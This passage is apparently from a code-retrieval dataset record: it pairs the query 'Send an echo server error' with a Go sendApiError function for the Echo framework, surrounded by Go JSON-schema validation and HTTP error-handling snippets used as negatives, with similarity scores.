new(big.Int).SetString(fmt.Sprint(v), 10); ok {\n\t\t\t\t\tmatched = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif !matched {\n\t\t\treturn validationError(\"type\", \"expected %s, but got %s\", strings.Join(s.Types, \" or \"), vType)\n\t\t}\n\t}\n\n\tif len(s.Constant) > 0 {\n\t\tif !equals(v, s.Constant[0]) {\n\t\t\tswitch jsonType(s.Constant[0]) {\n\t\t\tcase \"object\", \"array\":\n\t\t\t\treturn validationError(\"const\", \"const failed\")\n\t\t\tdefault:\n\t\t\t\treturn validationError(\"const\", \"value must be %#v\", s.Constant[0])\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(s.Enum) > 0 {\n\t\tmatched := false\n\t\tfor _, item := range s.Enum {\n\t\t\tif equals(v, item) {\n\t\t\t\tmatched = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !matched {\n\t\t\treturn validationError(\"enum\", s.enumError)\n\t\t}\n\t}\n\n\tif s.Not != nil && s.Not.validate(v) == nil {\n\t\treturn validationError(\"not\", \"not failed\")\n\t}\n\n\tfor i, sch := range s.AllOf {\n\t\tif err := sch.validate(v); err != nil {\n\t\t\treturn validationError(\"allOf/\"+strconv.Itoa(i), \"allOf failed\").add(err)\n\t\t}\n\t}\n\n\tif len(s.AnyOf) > 0 {\n\t\tmatched := false\n\t\tvar causes []error\n\t\tfor i, sch := range s.AnyOf {\n\t\t\tif err := sch.validate(v); err == nil {\n\t\t\t\tmatched = true\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tcauses = append(causes, addContext(\"\", strconv.Itoa(i), err))\n\t\t\t}\n\t\t}\n\t\tif !matched {\n\t\t\treturn validationError(\"anyOf\", \"anyOf failed\").add(causes...)\n\t\t}\n\t}\n\n\tif len(s.OneOf) > 0 {\n\t\tmatched := -1\n\t\tvar causes []error\n\t\tfor i, sch := range s.OneOf {\n\t\t\tif err := sch.validate(v); err == nil {\n\t\t\t\tif matched == -1 {\n\t\t\t\t\tmatched = i\n\t\t\t\t} else {\n\t\t\t\t\treturn validationError(\"oneOf\", \"valid against schemas at indexes %d and %d\", matched, i)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcauses = append(causes, addContext(\"\", strconv.Itoa(i), err))\n\t\t\t}\n\t\t}\n\t\tif matched == -1 {\n\t\t\treturn validationError(\"oneOf\", \"oneOf failed\").add(causes...)\n\t\t}\n\t}\n\n\tif s.If != nil {\n\t\tif s.If.validate(v) == nil {\n\t\t\tif s.Then != nil {\n\t\t\t\tif err := s.Then.validate(v); err != nil {\n\t\t\t\t\treturn validationError(\"then\", \"if-then failed\").add(err)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif s.Else != nil {\n\t\t\t\tif err := s.Else.validate(v); err != nil {\n\t\t\t\t\treturn validationError(\"else\", \"if-else failed\").add(err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tswitch v := v.(type) {\n\tcase map[string]interface{}:\n\t\tif s.MinProperties != -1 && len(v) < s.MinProperties {\n\t\t\treturn validationError(\"minProperties\", \"minimum %d properties allowed, but found %d properties\", s.MinProperties, len(v))\n\t\t}\n\t\tif s.MaxProperties != -1 && len(v) > s.MaxProperties {\n\t\t\treturn validationError(\"maxProperties\", \"maximum %d properties allowed, but found %d properties\", s.MaxProperties, len(v))\n\t\t}\n\t\tif len(s.Required) > 0 {\n\t\t\tvar missing []string\n\t\t\tfor _, pname := range s.Required {\n\t\t\t\tif _, ok := v[pname]; !ok {\n\t\t\t\t\tmissing = append(missing, strconv.Quote(pname))\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(missing) > 0 {\n\t\t\t\treturn validationError(\"required\", \"missing properties: %s\", strings.Join(missing, \", \"))\n\t\t\t}\n\t\t}\n\n\t\tvar additionalProps map[string]struct{}\n\t\tif s.AdditionalProperties != nil {\n\t\t\tadditionalProps = make(map[string]struct{}, len(v))\n\t\t\tfor pname := range v {\n\t\t\t\tadditionalProps[pname] = struct{}{}\n\t\t\t}\n\t\t}\n\n\t\tif len(s.Properties) > 0 {\n\t\t\tfor pname, pschema := range s.Properties {\n\t\t\t\tif pvalue, ok := v[pname]; ok {\n\t\t\t\t\tdelete(additionalProps, pname)\n\t\t\t\t\tif err := pschema.validate(pvalue); err != nil {\n\t\t\t\t\t\treturn addContext(escape(pname), \"properties/\"+escape(pname), err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif s.PropertyNames != nil {\n\t\t\tfor pname := range v {\n\t\t\t\tif err := s.PropertyNames.validate(pname); err != nil {\n\t\t\t\t\treturn addContext(escape(pname), \"propertyNames\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif s.RegexProperties {\n\t\t\tfor pname := range v {\n\t\t\t\tif !formats.IsRegex(pname) {\n\t\t\t\t\treturn validationError(\"\", \"patternProperty %q is not valid regex\", pname)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor pattern, pschema := range s.PatternProperties {\n\t\t\tfor pname, pvalue := range v {\n\t\t\t\tif pattern.MatchString(pname) {\n\t\t\t\t\tdelete(additionalProps, pname)\n\t\t\t\t\tif err := pschema.validate(pvalue); err != nil {\n\t\t\t\t\t\treturn addContext(escape(pname), \"patternProperties/\"+escape(pattern.String()), err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif s.AdditionalProperties != nil {\n\t\t\tif _, ok := s.AdditionalProperties.(bool); ok {\n\t\t\t\tif len(additionalProps) != 0 {\n\t\t\t\t\tpnames := make([]string, 0, len(additionalProps))\n\t\t\t\t\tfor pname := range additionalProps {\n\t\t\t\t\t\tpnames = append(pnames, strconv.Quote(pname))\n\t\t\t\t\t}\n\t\t\t\t\treturn validationError(\"additionalProperties\", \"additionalProperties %s not allowed\", strings.Join(pnames, \", \"))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tschema := s.AdditionalProperties.(*Schema)\n\t\t\t\tfor pname := range additionalProps {\n\t\t\t\t\tif pvalue, ok := v[pname]; ok {\n\t\t\t\t\t\tif err := schema.validate(pvalue); err != nil {\n\t\t\t\t\t\t\treturn addContext(escape(pname), \"additionalProperties\", err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor dname, dvalue := range s.Dependencies {\n\t\t\tif _, ok := v[dname]; ok {\n\t\t\t\tswitch dvalue := dvalue.(type) {\n\t\t\t\tcase *Schema:\n\t\t\t\t\tif err := dvalue.validate(v); err != nil {\n\t\t\t\t\t\treturn addContext(\"\", \"dependencies/\"+escape(dname), err)\n\t\t\t\t\t}\n\t\t\t\tcase []string:\n\t\t\t\t\tfor i, pname := range dvalue {\n\t\t\t\t\t\tif _, ok := v[pname]; !ok {\n\t\t\t\t\t\t\treturn validationError(\"dependencies/\"+escape(dname)+\"/\"+strconv.Itoa(i), \"property %q is required, if %q property exists\", pname, dname)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\tcase []interface{}:\n\t\tif s.MinItems != -1 && len(v) < s.MinItems {\n\t\t\treturn validationError(\"minItems\", \"minimum %d items allowed, but found %d items\", s.MinItems, len(v))\n\t\t}\n\t\tif s.MaxItems != -1 && len(v) > s.MaxItems {\n\t\t\treturn validationError(\"maxItems\", \"maximum %d items allowed, but found %d items\", s.MaxItems, len(v))\n\t\t}\n\t\tif s.UniqueItems {\n\t\t\tfor i := 1; i < len(v); i++ {\n\t\t\t\tfor j := 0; j < i; j++ {\n\t\t\t\t\tif equals(v[i], v[j]) {\n\t\t\t\t\t\treturn validationError(\"uniqueItems\", \"items at index %d and %d are equal\", j, i)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tswitch items := s.Items.(type) {\n\t\tcase *Schema:\n\t\t\tfor i, item := range v {\n\t\t\t\tif err := items.validate(item); err != nil {\n\t\t\t\t\treturn addContext(strconv.Itoa(i), \"items\", err)\n\t\t\t\t}\n\t\t\t}\n\t\tcase []*Schema:\n\t\t\tif additionalItems, ok := s.AdditionalItems.(bool); ok {\n\t\t\t\tif !additionalItems && len(v) > len(items) {\n\t\t\t\t\treturn validationError(\"additionalItems\", \"only %d items are allowed, but found %d items\", len(items), len(v))\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor i, item := range v {\n\t\t\t\tif i < len(items) {\n\t\t\t\t\tif err := items[i].validate(item); err != nil {\n\t\t\t\t\t\treturn addContext(strconv.Itoa(i), \"items/\"+strconv.Itoa(i), err)\n\t\t\t\t\t}\n\t\t\t\t} else if sch, ok := s.AdditionalItems.(*Schema); ok {\n\t\t\t\t\tif err := sch.validate(item); err != nil {\n\t\t\t\t\t\treturn addContext(strconv.Itoa(i), \"additionalItems\", err)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif s.Contains != nil {\n\t\t\tmatched := false\n\t\t\tvar causes []error\n\t\t\tfor i, item := range v {\n\t\t\t\tif err := s.Contains.validate(item); err != nil {\n\t\t\t\t\tcauses = append(causes, addContext(strconv.Itoa(i), \"\", err))\n\t\t\t\t} else {\n\t\t\t\t\tmatched = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !matched {\n\t\t\t\treturn validationError(\"contains\", \"contains failed\").add(causes...)\n\t\t\t}\n\t\t}\n\n\tcase string:\n\t\tif s.MinLength != -1 || s.MaxLength != -1 {\n\t\t\tlength := utf8.RuneCount([]byte(v))\n\t\t\tif s.MinLength != -1 && length < s.MinLength {\n\t\t\t\treturn validationError(\"minLength\", \"length must be >= %d, but got %d\", s.MinLength, length)\n\t\t\t}\n\t\t\tif s.MaxLength != -1 && length > s.MaxLength {\n\t\t\t\treturn validationError(\"maxLength\", \"length must be <= %d, but got %d\", s.MaxLength, length)\n\t\t\t}\n\t\t}\n\t\tif s.Pattern != nil && !s.Pattern.MatchString(v) {\n\t\t\treturn validationError(\"pattern\", \"does not match pattern %q\", s.Pattern)\n\t\t}\n\t\tif s.Format != nil && !s.Format(v) {\n\t\t\treturn validationError(\"format\", \"%q is not valid %q\", v, s.FormatName)\n\t\t}\n\n\t\tvar content []byte\n\t\tif s.Decoder != nil {\n\t\t\tb, err := s.Decoder(v)\n\t\t\tif err != nil {\n\t\t\t\treturn validationError(\"contentEncoding\", \"%q is not %s encoded\", v, s.ContentEncoding)\n\t\t\t}\n\t\t\tcontent = b\n\t\t}\n\t\tif s.MediaType != nil {\n\t\t\tif s.Decoder == nil {\n\t\t\t\tcontent = []byte(v)\n\t\t\t}\n\t\t\tif err := s.MediaType(content); err != nil {\n\t\t\t\treturn validationError(\"contentMediaType\", \"value is not of mediatype %q\", s.ContentMediaType)\n\t\t\t}\n\t\t}\n\n\tcase json.Number, float64, int, int32, int64:\n\t\tnum, _ := new(big.Float).SetString(fmt.Sprint(v))\n\t\tif s.Minimum != nil && num.Cmp(s.Minimum) < 0 {\n\t\t\treturn validationError(\"minimum\", \"must be >= %v but found %v\", s.Minimum, v)\n\t\t}\n\t\tif s.ExclusiveMinimum != nil && num.Cmp(s.ExclusiveMinimum) <= 0 {\n\t\t\treturn validationError(\"exclusiveMinimum\", \"must be > %v but found %v\", s.ExclusiveMinimum, v)\n\t\t}\n\t\tif s.Maximum != nil && num.Cmp(s.Maximum) > 0 {\n\t\t\treturn validationError(\"maximum\", \"must be <= %v but found %v\", s.Maximum, v)\n\t\t}\n\t\tif s.ExclusiveMaximum != nil && num.Cmp(s.ExclusiveMaximum) >= 0 {\n\t\t\treturn validationError(\"exclusiveMaximum\", \"must be < %v but found %v\", s.ExclusiveMaximum, v)\n\t\t}\n\t\tif s.MultipleOf != nil {\n\t\t\tif q := new(big.Float).Quo(num, s.MultipleOf); !q.IsInt() {\n\t\t\t\treturn validationError(\"multipleOf\", \"%v not multipleOf %v\", v, s.MultipleOf)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func ValidateSchemaInBody(weaviateSchema *models.SemanticSchema, bodySchema *models.Schema, className string, dbConnector dbconnector.DatabaseConnector, serverConfig *config.WeaviateConfig) error {\n\t// Validate whether the class exists in the given schema\n\t// Get the class by its name\n\tclass, err := schema.GetClassByName(weaviateSchema, className)\n\n\t// Return the error, in this case that the class is not found\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Validate whether the properties exist in the given schema\n\t// Get the input properties from the bodySchema in readable format\n\tisp := *bodySchema\n\n\tif isp == nil {\n\t\treturn nil\n\t}\n\n\tinputSchema := isp.(map[string]interface{})\n\n\t// For each property in the input schema\n\tfor pk, pv := range inputSchema {\n\t\t// Get the property data type from the schema\n\t\tdt, err := schema.GetPropertyDataType(class, pk)\n\n\t\t// Return the error, in this case that the property is not found\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Check whether the datatypes are correct\n\t\tif *dt == schema.DataTypeCRef {\n\t\t\t// Cast it to a usable variable\n\t\t\tpvcr := pv.(map[string]interface{})\n\n\t\t\t// Return different types of errors for cref input\n\t\t\tif len(pvcr) != 3 {\n\t\t\t\t// Give an error if the cref is not filled with correct number of properties\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. Check your input schema\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t)\n\t\t\t} else if _, ok := pvcr[\"$cref\"]; !ok {\n\t\t\t\t// Give an error if the cref is not filled with correct properties ($cref)\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. '$cref' is missing, check your input schema\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t)\n\t\t\t} else if _, ok := pvcr[\"locationUrl\"]; !ok {\n\t\t\t\t// Give an error if the cref is not filled with correct properties (locationUrl)\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. 'locationUrl' is missing, check your input schema\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t)\n\t\t\t} else if _, ok := pvcr[\"type\"]; !ok {\n\t\t\t\t// Give an error if the cref is not filled with correct properties (type)\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires exactly 3 arguments: '$cref', 'locationUrl' and 'type'. 'type' is missing, check your input schema\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t)\n\t\t\t}\n\n\t\t\t// Return error if type is not right, when it is not one of the 3 possible types\n\t\t\trefType := pvcr[\"type\"].(string)\n\t\t\tif !validateRefType(refType) {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires one of the following values in 'type': '%s', '%s' or '%s'\",\n\t\t\t\t\tclass.Class, pk,\n\t\t\t\t\tconnutils.RefTypeAction,\n\t\t\t\t\tconnutils.RefTypeThing,\n\t\t\t\t\tconnutils.RefTypeKey,\n\t\t\t\t)\n\t\t\t}\n\n\t\t\t// TODO: https://github.com/creativesoftwarefdn/weaviate/issues/237 Validate using / existing locationURL?\n\t\t\t// Validate whether reference exists based on given Type\n\t\t\tcrefu := strfmt.UUID(pvcr[\"$cref\"].(string))\n\t\t\tif refType == connutils.RefTypeAction {\n\t\t\t\tar := &models.ActionGetResponse{}\n\t\t\t\tare := dbConnector.GetAction(crefu, ar)\n\t\t\t\tif are != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error finding the 'cref' to an Action in the database: %s\", are)\n\t\t\t\t}\n\t\t\t} else if refType == connutils.RefTypeKey {\n\t\t\t\tkr := &models.KeyGetResponse{}\n\t\t\t\tkre := dbConnector.GetKey(crefu, kr)\n\t\t\t\tif kre != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error finding the 'cref' to a Key in the database: %s\", kre)\n\t\t\t\t}\n\t\t\t} else if refType == connutils.RefTypeThing {\n\t\t\t\ttr := &models.ThingGetResponse{}\n\t\t\t\ttre := dbConnector.GetThing(crefu, tr)\n\t\t\t\tif tre != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error finding the 'cref' to a Thing in the database: %s\", tre)\n\t\t\t\t}\n\t\t\t}\n\t\t} else if *dt == schema.DataTypeString {\n\t\t\t// Return error when the input can not be casted to a string\n\t\t\tif _, ok := pv.(string); !ok {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires a string. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\t\t} else if *dt == schema.DataTypeInt {\n\t\t\t// Return error when the input can not be casted to json.Number\n\t\t\tif _, ok := pv.(json.Number); !ok {\n\t\t\t\t// If value is not a json.Number, it could be an int, which is fine\n\t\t\t\tif _, ok := pv.(int64); !ok {\n\t\t\t\t\t// If value is not a json.Number, it could be an int, which is fine when the float does not contain a decimal\n\t\t\t\t\tif vFloat, ok := pv.(float64); ok {\n\t\t\t\t\t\t// Check whether the float is containing a decimal\n\t\t\t\t\t\tif vFloat != float64(int64(vFloat)) {\n\t\t\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\t\t\"class '%s' with property '%s' requires an integer. The given value is '%v'\",\n\t\t\t\t\t\t\t\tclass.Class,\n\t\t\t\t\t\t\t\tpk,\n\t\t\t\t\t\t\t\tpv,\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// If it is not a float, it is cerntainly not a integer, return the error\n\t\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\t\"class '%s' with property '%s' requires an integer. The given value is '%v'\",\n\t\t\t\t\t\t\tclass.Class,\n\t\t\t\t\t\t\tpk,\n\t\t\t\t\t\t\tpv,\n\t\t\t\t\t\t)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if _, err := pv.(json.Number).Int64(); err != nil {\n\t\t\t\t// Return error when the input can not be converted to an int\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires an integer, the JSON number could not be converted to an int. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\n\t\t} else if *dt == schema.DataTypeNumber {\n\t\t\t// Return error when the input can not be casted to json.Number\n\t\t\tif _, ok := pv.(json.Number); !ok {\n\t\t\t\tif _, ok := pv.(float64); !ok {\n\t\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\t\"class '%s' with property '%s' requires a float. The given value is '%v'\",\n\t\t\t\t\t\tclass.Class,\n\t\t\t\t\t\tpk,\n\t\t\t\t\t\tpv,\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t} else if _, err := pv.(json.Number).Float64(); err != nil {\n\t\t\t\t// Return error when the input can not be converted to a float\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires a float, the JSON number could not be converted to a float. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\t\t} else if *dt == schema.DataTypeBoolean {\n\t\t\t// Return error when the input can not be casted to a boolean\n\t\t\tif _, ok := pv.(bool); !ok {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires a bool. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\t\t} else if *dt == schema.DataTypeDate {\n\t\t\t// Return error when the input can not be casted to a string\n\t\t\tif _, ok := pv.(string); !ok {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires a string with a RFC3339 formatted date. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\n\t\t\t// Parse the time as this has to be correct\n\t\t\t_, err := time.Parse(time.RFC3339, pv.(string))\n\n\t\t\t// Return if there is an error while parsing\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"class '%s' with property '%s' requires a string with a RFC3339 formatted date. The given value is '%v'\",\n\t\t\t\t\tclass.Class,\n\t\t\t\t\tpk,\n\t\t\t\t\tpv,\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (m *CreateDocV1Response) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\t// no validation rules for Id\n\n\treturn nil\n}", "func SchemaHas(s *apiextensionsv1.JSONSchemaProps, fldPath, simpleLocation *field.Path, pred func(s *apiextensionsv1.JSONSchemaProps, fldPath, simpleLocation *field.Path) bool) bool {\n\tif s == nil {\n\t\treturn false\n\t}\n\n\tif pred(s, fldPath, simpleLocation) {\n\t\treturn true\n\t}\n\n\tif s.Items != nil {\n\t\tif s.Items != nil && schemaHasRecurse(s.Items.Schema, fldPath.Child(\"items\"), simpleLocation.Key(\"*\"), pred) {\n\t\t\treturn true\n\t\t}\n\t\tfor i := range s.Items.JSONSchemas {\n\t\t\tif schemaHasRecurse(&s.Items.JSONSchemas[i], fldPath.Child(\"items\", \"jsonSchemas\").Index(i), simpleLocation.Index(i), pred) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\tfor i := range s.AllOf {\n\t\tif schemaHasRecurse(&s.AllOf[i], fldPath.Child(\"allOf\").Index(i), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor i := range s.AnyOf {\n\t\tif schemaHasRecurse(&s.AnyOf[i], fldPath.Child(\"anyOf\").Index(i), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor i := range s.OneOf {\n\t\tif schemaHasRecurse(&s.OneOf[i], fldPath.Child(\"oneOf\").Index(i), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tif schemaHasRecurse(s.Not, fldPath.Child(\"not\"), simpleLocation, pred) {\n\t\treturn true\n\t}\n\tfor propertyName, s := range s.Properties {\n\t\tif schemaHasRecurse(&s, fldPath.Child(\"properties\").Key(propertyName), simpleLocation.Child(propertyName), pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tif s.AdditionalProperties != nil {\n\t\tif schemaHasRecurse(s.AdditionalProperties.Schema, fldPath.Child(\"additionalProperties\", \"schema\"), simpleLocation.Key(\"*\"), pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor patternName, s := range s.PatternProperties {\n\t\tif schemaHasRecurse(&s, fldPath.Child(\"allOf\").Key(patternName), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tif s.AdditionalItems != nil {\n\t\tif schemaHasRecurse(s.AdditionalItems.Schema, fldPath.Child(\"additionalItems\", \"schema\"), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor _, s := range s.Definitions {\n\t\tif schemaHasRecurse(&s, fldPath.Child(\"definitions\"), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor dependencyName, d := range s.Dependencies {\n\t\tif schemaHasRecurse(d.Schema, fldPath.Child(\"dependencies\").Key(dependencyName).Child(\"schema\"), simpleLocation, pred) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}" ]
[ "0.6459454", "0.6332627", "0.6081228", "0.592657", "0.57522005", "0.57342845", "0.5728635", "0.5725489", "0.5674452", "0.55459696", "0.55457294", "0.55271864", "0.5482213", "0.5386269", "0.5370689", "0.5360291", "0.53530866", "0.52772063", "0.5204154", "0.5199617", "0.51944125", "0.5188736", "0.5187472", "0.5182038", "0.5161691", "0.5147073", "0.5131327", "0.5126476", "0.5121615", "0.5119838", "0.51073784", "0.5104165", "0.5095328", "0.50698155", "0.5054321", "0.5053442", "0.5049205", "0.5037525", "0.5017541", "0.50145257", "0.50046796", "0.50000936", "0.49928686", "0.49843806", "0.49709433", "0.49690515", "0.49441978", "0.4911918", "0.49109676", "0.49099654", "0.49099654", "0.48963082", "0.4895156", "0.48903793", "0.48882684", "0.48871306", "0.48863423", "0.4884199", "0.4877354", "0.4876974", "0.4876065", "0.48734128", "0.4866403", "0.48661566", "0.48622704", "0.48605072", "0.48563448", "0.484235", "0.48341063", "0.4829868", "0.4828234", "0.48263374", "0.48250508", "0.4822908", "0.48209253", "0.48180577", "0.48173657", "0.48123735", "0.4810213", "0.48068458", "0.4805805", "0.47979563", "0.4788355", "0.47858545", "0.47847188", "0.47797093", "0.4779343", "0.47782728", "0.47733852", "0.47692913", "0.4764994", "0.47560716", "0.4745304", "0.4741429", "0.47392473", "0.47365177", "0.47348213", "0.4731147", "0.47297058", "0.47271252" ]
0.7363169
0
Send an echo server error
func sendApiError(ctx echo.Context, code int, message string) error { apiErr := Error{ Code: int32(code), Message: message, } err := ctx.JSON(code, apiErr) return err }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func errorResponse(conn net.Conn, response string) {\n\tconn.Write(append(data.PackString(\"ERROR\"), data.PackString(response)...))\n}", "func printError(w http.ResponseWriter, msg string, err error) {\n\tlog.Println(\"ERROR:\", err)\n\tlog.Println(\"Sending to client:\", msg)\n\tfmt.Fprintf(w, msg+\"\\n\")\n}", "func sendHttpErr(w http.ResponseWriter, status int) {\n\thttp.Error(w, http.StatusText(status), status)\n}", "func (s *Service) sendError(rsp http.ResponseWriter, req *Request, err error) {\n var m string\n var r int\n var c error\n var h map[string]string\n \n switch v := err.(type) {\n case *Error:\n r = v.Status\n h = v.Headers\n c = v.Cause\n m = fmt.Sprintf(\"%s: [%v] %v\", s.name, req.Id, c)\n if d := formatDetail(c); d != \"\" {\n m += \"\\n\"+ d\n }\n default:\n r = http.StatusInternalServerError\n c = basicError{http.StatusInternalServerError, err.Error()}\n m = fmt.Sprintf(\"%s: [%v] %v\", s.name, req.Id, err)\n }\n \n // propagate non-success, non-client errors; just log others\n if r < 200 || r >= 500 {\n alt.Error(m, nil, nil)\n }else{\n alt.Debug(m)\n }\n if req.Accepts(\"text/html\") {\n s.sendEntity(rsp, req, r, h, htmlError(r, h, c))\n }else{\n s.sendEntity(rsp, req, r, h, c)\n }\n}", "func serverError(w http.ResponseWriter, err error) {\n\tlog.Printf(\"error: %s\\n\", err)\n\thttp.Error(w, fmt.Sprintf(\"%s\", err), http.StatusInternalServerError)\n}", "func Error(w http.ResponseWriter, code int, msg string, data interface{}) error {\n\tif Log {\n\t\tlog.Printf(\"Error %v: %v\", code, msg)\n\t}\n\n\treturn sendResponse(w, Resp{ERROR, code, msg, data, ErrorHttpCode})\n}", "func sendErrorResponse(func_name string, w http.ResponseWriter, http_code int, resp_body string, log_message string) {\n\tutils.Log(fmt.Sprintf(\"%s: %s\", func_name, log_message))\n\tw.WriteHeader(http_code)\n\tw.Write([]byte(resp_body))\n\treturn\n}", "func SendError(conn net.Conn,name string, msg string){\n\n\tdataMap:=make(map[string]interface{})\n\tdataMap[\"type\"]=\"error\"\n\tdataMap[\"name\"]=name\n\tdataMap[\"msg\"]=msg\n\tSendJSONData(conn,dataMap)\n\n\n}", "func TestSendError(t *testing.T) {\n\terr := SendError(\"Send Error\", \"https://status.btfs.io\", \"my peer id\", \"my HValue\")\n\tif err != nil {\n\t\tt.Errorf(\"Send error message to status server failed, reason: %v\", err)\n\t} else {\n\t\tt.Log(\"Send error message to status server successfully!\")\n\t}\n}", "func sendErrorMessage(s *dgo.Session, c string, m string) {\n\ts.ChannelMessageSend(c, m)\n}", "func ClientError(w http.ResponseWriter, status int) {\n\tapp.InfoLog.Println(\"Client error with status of\", status)\n\thttp.Error(w, http.StatusText(status), status)\n}", "func (m *manager) sendErr(w http.ResponseWriter, errorCode int64, errorData interface{}) {\n\tw.WriteHeader(http.StatusInternalServerError)\n\tenc := json.NewEncoder(w)\n\tenc.Encode(map[string]interface{}{\n\t\t\"ok\": false,\n\t\t\"error_code\": errorCode,\n\t\t\"error_data\": errorData,\n\t})\n}", "func Error(ctx *fiber.Ctx, msg string, e error, status int) error {\n\treturn response(ctx, status, fiber.Map{\n\t\t\"success\": false,\n\t\t\"message\": msg,\n\t\t\"data\": e,\n\t})\n}", "func (k Keisatsu) Error(msg string) {\n\tmessage := Message{\n\t\tAppName: k.AppName,\n\t\tLevel: ErrorLevel,\n\t\tMessage: msg,\n\t}\n\tk.sendWebhook(message)\n}", "func sendErrorMessage(w io.Writer, err error) {\n\tif err == nil {\n\t\tpanic(errors.Wrap(err, \"Cannot send error message if error is nil\"))\n\t}\n\tfmt.Printf(\"ERROR: %+v\\n\", err)\n\twriteJSON(w, map[string]string{\n\t\t\"status\": \"error\",\n\t\t\"message\": err.Error(),\n\t})\n}", "func writeErrorResponse(w http.ResponseWriter, status int, body string) {\n\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\tw.WriteHeader(status)\n\n\t_, _ = fmt.Fprintf(os.Stderr, \"error: %s\", body)\n\tif _, err := w.Write([]byte(body)); err != nil {\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"cannot write to stream: %v\\n\", err)\n\t\treturn\n\t}\n}", "func (app *application) clientError(writer http.ResponseWriter, status int) {\n\thttp.Error(writer, http.StatusText(status), 